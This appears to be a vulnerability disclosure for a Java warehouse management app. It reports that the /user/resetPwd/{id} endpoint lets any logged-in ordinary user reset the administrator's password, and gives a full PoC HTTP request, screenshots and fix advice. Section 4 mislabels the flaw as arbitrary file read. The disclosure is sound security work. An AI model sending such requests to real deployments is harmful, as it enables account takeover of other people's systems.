Vertical Privilege Escalation Vulnerability
1. Steps to reproduce
When logged in as a ordinary user, only the following menu bar is available.
![image-20240130144219183](https://private-user-images.githubusercontent.com/158132595/300712344-8083edfa-9e6c-4210-abe5-0ac4d5ac0bf7.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjExMjQ2MjksIm5iZiI6MTcyMTEyNDMyOSwicGF0aCI6Ii8xNTgxMzI1OTUvMzAwNzEyMzQ0LTgwODNlZGZhLTllNmMtNDIxMC1hYmU1LTBhYzRkNWFjMGJmNy5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxNlQxMDA1MjlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01NGZhOTJlMTJjZjlhOGQ4YmE5NDBiZWFlZmEzNmZhOGU5ZDNmNDE2NmNhMmJiZDcyODJhNzVlNjA5M2M2MmE2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.D2eV5gR_vwBgO1Kk-3dfc8ThKHlynDTda-4jwDyGXfQ)
When logged in as a system user, the following menu bar is available.
![image-20240130144110766](https://private-user-images.githubusercontent.com/158132595/300712118-b85beeb4-a6c7-44c9-b00a-738912498725.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjExMjQ2MjksIm5iZiI6MTcyMTEyNDMyOSwicGF0aCI6Ii8xNTgxMzI1OTUvMzAwNzEyMTE4LWI4NWJlZWI0LWE2YzctNDRjOS1iMDBhLTczODkxMjQ5ODcyNS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxNlQxMDA1MjlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT1jODA3NTQ0N2QyYzFjMTM1ZGM1ZWU0NTcyNDYxZWMxMDI5MzU0NjU0ZGVkN2RkMTFiMWJkYTMyZDkzZWI3YzUxJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.5D9p6AFv2anFCopcP9IjAHJh3RbqWwEdpEJRYhFuVS4)
In other words, the reset password function is the privilege of the system user, ordinary users can not reset other people's passwords.
But when a ordinary user requests the route /user/resetPwd/{id}
, it can reset the passwords of other users.
The PoC HTTP request message is as follows.
POST /user/resetPwd/1 HTTP/1.1
Host: 10.108.4.179:8888
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: http://10.108.4.179:8888
DNT: 1
Connection: close
Referer: http://10.108.4.179:8888/sys/toUserManager
Cookie: JSESSIONID=6CE3D4F751868479C2F7F0A9FE8C973B
Content-Length: 0
![image-20240130144753460](https://private-user-images.githubusercontent.com/158132595/300712167-44d4fcd8-f05f-4b85-a795-724f2a9fc1dd.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjExMjQ2MjksIm5iZiI6MTcyMTEyNDMyOSwicGF0aCI6Ii8xNTgxMzI1OTUvMzAwNzEyMTY3LTQ0ZDRmY2Q4LWYwNWYtNGI4NS1hNzk1LTcyNGYyYTlmYzFkZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxNlQxMDA1MjlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00MmFmYTA5OTFjZmQ3Mzc1MTBjMTE3ZTE4YTBmZTIzNTRiODc2OWQ1MjkzYzQyOWJlOGViYzhlYmJhZDA3ZDY3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.R6YVqz2Wz6xwKzSjIDoiiV3IzBGXpUMvRu5jRacxxVM)
You can see that the user with id 1
is the system administrator, but I reset the administrator's password using the ordinary user with id 4
.
![image-20240130144954270](https://private-user-images.githubusercontent.com/158132595/300712202-773fb515-3d97-437b-b1eb-d5b8c8a20a60.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjExMjQ2MjksIm5iZiI6MTcyMTEyNDMyOSwicGF0aCI6Ii8xNTgxMzI1OTUvMzAwNzEyMjAyLTc3M2ZiNTE1LTNkOTctNDM3Yi1iMWViLWQ1YjhjOGEyMGE2MC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxNlQxMDA1MjlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00MzljNjZhOTVhYmM4NGI3NDk0MmIxZTVjYTM5MGQ5ZTYzNzI4ODA0NzBjODUyMGUwNmE2YTBkOTNkYzUyZDgzJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.Au-En9to73tt6E3snMMSA2dT05hthtdaTETusgD7ihU)
2. Expected behavior
The com.yeqifu.sys.controller.UserController#resetPwd
method was originally intended to be used to allow the system administrator to reset a user's password by passing in the user's id to reset the specified user's password.
![image-20240130145334801](https://private-user-images.githubusercontent.com/158132595/300712255-4edac04f-b9e9-437f-89e8-f3d67c3718d2.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjExMjQ2MjksIm5iZiI6MTcyMTEyNDMyOSwicGF0aCI6Ii8xNTgxMzI1OTUvMzAwNzEyMjU1LTRlZGFjMDRmLWI5ZTktNDM3Zi04OWU4LWYzZDY3YzM3MThkMi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNzE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDcxNlQxMDA1MjlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zMTZjM2QyM2ZiNTU2MmNiNTViMWU1OTkxZTcwMWJlNTRkMjJlMDBiOTQxZjY2OTk1MTlhMmY5Mjk3YThhNjEyJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.e1mQQeqH0cm470a_cBXlo7vZtiejoKEYgOEu2eZhs-M)
3. Actual behavior
However, this method does not check whether the currently logged in user has access to the endpoint, as long as the user is logged in can reset other people's passwords through this method.
This leads to a vulnerability where an ordinary user can reset other people's passwords just like an administrator.
4. Affected Version
This arbitrary file read vulnerability affect latest version: warehouse <= Apr 15, 2023
5. Fixes Recommendations
To fix this vulnerability, I have the following suggestions:
- verify that the current user has access rights to the endpoint before manipulating the data
- access to endpoints should be controlled by the backend, not through a menu bar on the frontend